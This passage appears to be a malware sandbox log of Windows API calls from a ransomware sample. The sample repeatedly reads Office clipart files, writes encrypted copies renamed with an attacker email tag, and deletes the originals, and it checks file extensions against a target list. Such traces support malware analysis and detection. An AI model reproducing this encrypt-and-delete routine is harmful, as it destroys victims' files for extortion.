lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0063.901] WriteFile (in: hFile=0x34c, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1 [0063.902] SetEndOfFile (hFile=0x34c) returned 1 [0063.902] CloseHandle (hObject=0x34c) returned 1 [0063.903] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0063.903] SetEndOfFile (hFile=0x2f4) returned 1 [0063.904] CloseHandle (hObject=0x2f4) returned 1 [0063.904] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0063.904] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04195_.wmf")) returned 1 [0063.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68 [0063.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68 [0063.904] lstrlenW (lpString=".doc") returned 4 [0063.904] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0063.904] lstrlenW (lpString=".docx") returned 5 [0063.904] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0063.904] lstrlenW (lpString=".pdf") returned 4 [0063.904] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0063.905] lstrlenW (lpString=".xls") returned 4 [0063.905] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0063.905] lstrlenW (lpString=".xlsx") returned 5 [0063.905] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0063.905] lstrlenW (lpString=".ppt") returned 4 [0063.905] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0063.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68 [0063.905] lstrlenW (lpString=".zip") returned 4 [0063.905] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0063.905] lstrlenW (lpString=".rar") returned 4 [0063.905] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0063.905] lstrlenW (lpString=".bz2") returned 4 [0063.905] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0063.905] lstrlenW (lpString=".7z") returned 3 [0063.905] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0063.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68 [0063.905] lstrlenW (lpString=".dbf") returned 4 [0063.905] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0063.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68 [0063.905] lstrlenW (lpString=".1cd") returned 4 [0063.905] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0063.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68 [0063.905] lstrlenW (lpString=".jpg") returned 4 [0063.905] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0063.907] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0063.907] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0063.907] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04196_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0063.907] GetLastError () returned 0x0 [0063.908] ReadFile (in: hFile=0x2f4, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0xc48, lpOverlapped=0x0) returned 1 [0063.909] WriteFile (in: hFile=0x34c, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xc50, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xc50, lpOverlapped=0x0) returned 1 [0063.910] ReadFile (in: hFile=0x2f4, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0063.910] WriteFile (in: hFile=0x34c, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1 [0063.910] SetEndOfFile (hFile=0x34c) returned 1 [0063.910] CloseHandle (hObject=0x34c) returned 1 [0063.911] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0063.911] SetEndOfFile (hFile=0x2f4) returned 1 [0063.912] CloseHandle (hObject=0x2f4) returned 1 [0063.912] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0063.912] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04196_.wmf")) returned 1 [0063.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68 [0063.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68 [0063.913] lstrlenW (lpString=".doc") returned 4 [0063.913] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0063.913] lstrlenW (lpString=".docx") returned 5 [0063.913] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0063.913] lstrlenW (lpString=".pdf") returned 4 [0063.913] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0063.913] lstrlenW (lpString=".xls") returned 4 [0063.913] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0063.913] lstrlenW (lpString=".xlsx") returned 5 [0063.913] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0063.913] lstrlenW (lpString=".ppt") returned 4 [0063.913] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0063.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68 [0063.913] lstrlenW (lpString=".zip") returned 4 [0063.913] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0063.913] lstrlenW (lpString=".rar") returned 4 [0063.913] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0063.913] lstrlenW (lpString=".bz2") returned 4 [0063.913] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0063.913] lstrlenW (lpString=".7z") returned 3 [0063.913] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0063.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68 [0063.913] lstrlenW (lpString=".dbf") returned 4 [0063.913] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0063.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68 [0063.913] lstrlenW (lpString=".1cd") returned 4 [0063.913] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0063.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68 [0063.914] lstrlenW (lpString=".jpg") returned 4 [0063.914] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0063.914] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0063.914] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0063.914] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04206_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0063.914] GetLastError () returned 0x0 [0063.915] ReadFile (in: hFile=0x2f4, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x1df4, lpOverlapped=0x0) returned 1 [0064.349] WriteFile (in: hFile=0x34c, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0x1e00, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0x1e00, lpOverlapped=0x0) returned 1 [0064.516] ReadFile (in: hFile=0x2f4, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0064.516] WriteFile (in: hFile=0x34c, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1 [0064.516] SetEndOfFile (hFile=0x34c) returned 1 [0064.516] CloseHandle (hObject=0x34c) returned 1 [0064.517] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.517] SetEndOfFile (hFile=0x2f4) returned 1 [0064.518] CloseHandle (hObject=0x2f4) returned 1 [0064.518] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0064.519] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04206_.wmf")) returned 1 [0064.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68 [0064.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68 [0064.519] lstrlenW (lpString=".doc") returned 4 [0064.519] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0064.519] lstrlenW (lpString=".docx") returned 5 [0064.519] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0064.519] lstrlenW (lpString=".pdf") returned 4 [0064.519] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0064.519] lstrlenW (lpString=".xls") returned 4 [0064.519] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0064.519] lstrlenW (lpString=".xlsx") returned 5 [0064.519] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0064.519] lstrlenW (lpString=".ppt") returned 4 [0064.519] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0064.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68 [0064.519] lstrlenW (lpString=".zip") returned 4 [0064.519] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0064.519] lstrlenW (lpString=".rar") returned 4 [0064.520] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0064.520] lstrlenW (lpString=".bz2") returned 4 [0064.520] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0064.520] lstrlenW (lpString=".7z") returned 3 [0064.520] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0064.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68 [0064.520] lstrlenW (lpString=".dbf") returned 4 [0064.520] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0064.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68 [0064.520] lstrlenW (lpString=".1cd") returned 4 [0064.520] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0064.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68 [0064.520] lstrlenW (lpString=".jpg") returned 4 [0064.520] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0064.520] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.520] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.521] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00155_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0064.521] GetLastError () returned 0x0 [0064.521] ReadFile (in: hFile=0x2f4, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x2d74, lpOverlapped=0x0) returned 1 [0064.522] WriteFile (in: hFile=0x34c, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0x2d80, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0x2d80, lpOverlapped=0x0) returned 1 [0064.523] ReadFile (in: hFile=0x2f4, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0064.524] WriteFile (in: hFile=0x34c, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1 [0064.524] SetEndOfFile (hFile=0x34c) returned 1 [0064.524] CloseHandle (hObject=0x34c) returned 1 [0064.525] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.525] SetEndOfFile (hFile=0x2f4) returned 1 [0064.526] CloseHandle (hObject=0x2f4) returned 1 [0064.526] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0064.526] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00155_.wmf")) returned 1 [0064.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68 [0064.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68 [0064.527] lstrlenW (lpString=".doc") returned 4 [0064.527] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0064.527] lstrlenW (lpString=".docx") returned 5 [0064.527] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0064.527] lstrlenW (lpString=".pdf") returned 4 [0064.527] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0064.527] lstrlenW (lpString=".xls") returned 4 [0064.527] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0064.527] lstrlenW (lpString=".xlsx") returned 5 [0064.527] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0064.527] lstrlenW (lpString=".ppt") returned 4 [0064.527] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0064.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68 [0064.527] lstrlenW (lpString=".zip") returned 4 [0064.527] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0064.527] lstrlenW (lpString=".rar") returned 4 [0064.527] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0064.527] lstrlenW (lpString=".bz2") returned 4 [0064.527] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0064.527] lstrlenW (lpString=".7z") returned 3 [0064.527] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0064.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68 [0064.528] lstrlenW (lpString=".dbf") returned 4 [0064.528] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0064.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68 [0064.528] lstrlenW (lpString=".1cd") returned 4 [0064.528] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0064.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68 [0064.528] lstrlenW (lpString=".jpg") returned 4 [0064.528] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0064.528] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.528] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.528] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00160_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0064.529] GetLastError () returned 0x0 [0064.529] ReadFile (in: hFile=0x2f4, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x57f4, lpOverlapped=0x0) returned 1 [0064.531] WriteFile (in: hFile=0x34c, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0x5800, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0x5800, lpOverlapped=0x0) returned 1 [0064.532] ReadFile (in: hFile=0x2f4, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0064.532] WriteFile (in: hFile=0x34c, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1 [0064.532] SetEndOfFile (hFile=0x34c) returned 1 [0064.532] CloseHandle (hObject=0x34c) returned 1 [0064.534] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.534] SetEndOfFile (hFile=0x2f4) returned 1 [0064.535] CloseHandle (hObject=0x2f4) returned 1 [0064.535] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0064.535] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00160_.wmf")) returned 1 [0064.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68 [0064.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68 [0064.535] lstrlenW (lpString=".doc") returned 4 [0064.535] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0064.535] lstrlenW (lpString=".docx") returned 5 [0064.535] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0064.535] lstrlenW (lpString=".pdf") returned 4 [0064.536] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0064.536] lstrlenW (lpString=".xls") returned 4 [0064.536] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0064.536] lstrlenW (lpString=".xlsx") returned 5 [0064.536] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0064.536] lstrlenW (lpString=".ppt") returned 4 [0064.536] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0064.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68 [0064.536] lstrlenW (lpString=".zip") returned 4 [0064.536] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0064.536] lstrlenW (lpString=".rar") returned 4 [0064.536] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0064.536] lstrlenW (lpString=".bz2") returned 4 [0064.536] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0064.536] lstrlenW (lpString=".7z") returned 3 [0064.536] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0064.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68 [0064.536] lstrlenW (lpString=".dbf") returned 4 [0064.536] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0064.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68 [0064.536] lstrlenW (lpString=".1cd") returned 4 [0064.536] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0064.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68 [0064.536] lstrlenW (lpString=".jpg") returned 4 [0064.536] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0064.537] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.537] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.537] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00173_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0064.537] GetLastError () returned 0x0 [0064.537] ReadFile (in: hFile=0x2f4, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x3f34, lpOverlapped=0x0) returned 1 [0064.539] WriteFile (in: hFile=0x34c, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0x3f40, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0x3f40, lpOverlapped=0x0) returned 1 [0064.540] ReadFile (in: hFile=0x2f4, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0064.540] WriteFile (in: hFile=0x34c, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1 [0064.540] SetEndOfFile (hFile=0x34c) returned 1 [0064.540] CloseHandle (hObject=0x34c) returned 1 [0064.543] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.543] SetEndOfFile (hFile=0x2f4) returned 1 [0064.544] CloseHandle (hObject=0x2f4) returned 1 [0064.544] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0064.544] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00173_.wmf")) returned 1 [0064.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68 [0064.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68 [0064.545] lstrlenW (lpString=".doc") returned 4 [0064.545] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0064.545] lstrlenW (lpString=".docx") returned 5 [0064.545] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0064.545] lstrlenW (lpString=".pdf") returned 4 [0064.545] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0064.545] lstrlenW (lpString=".xls") returned 4 [0064.545] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0064.545] lstrlenW (lpString=".xlsx") returned 5 [0064.545] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0064.545] lstrlenW (lpString=".ppt") returned 4 [0064.545] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0064.545] lstrlenW (lpString="C:\\Program Files\\Microsoft 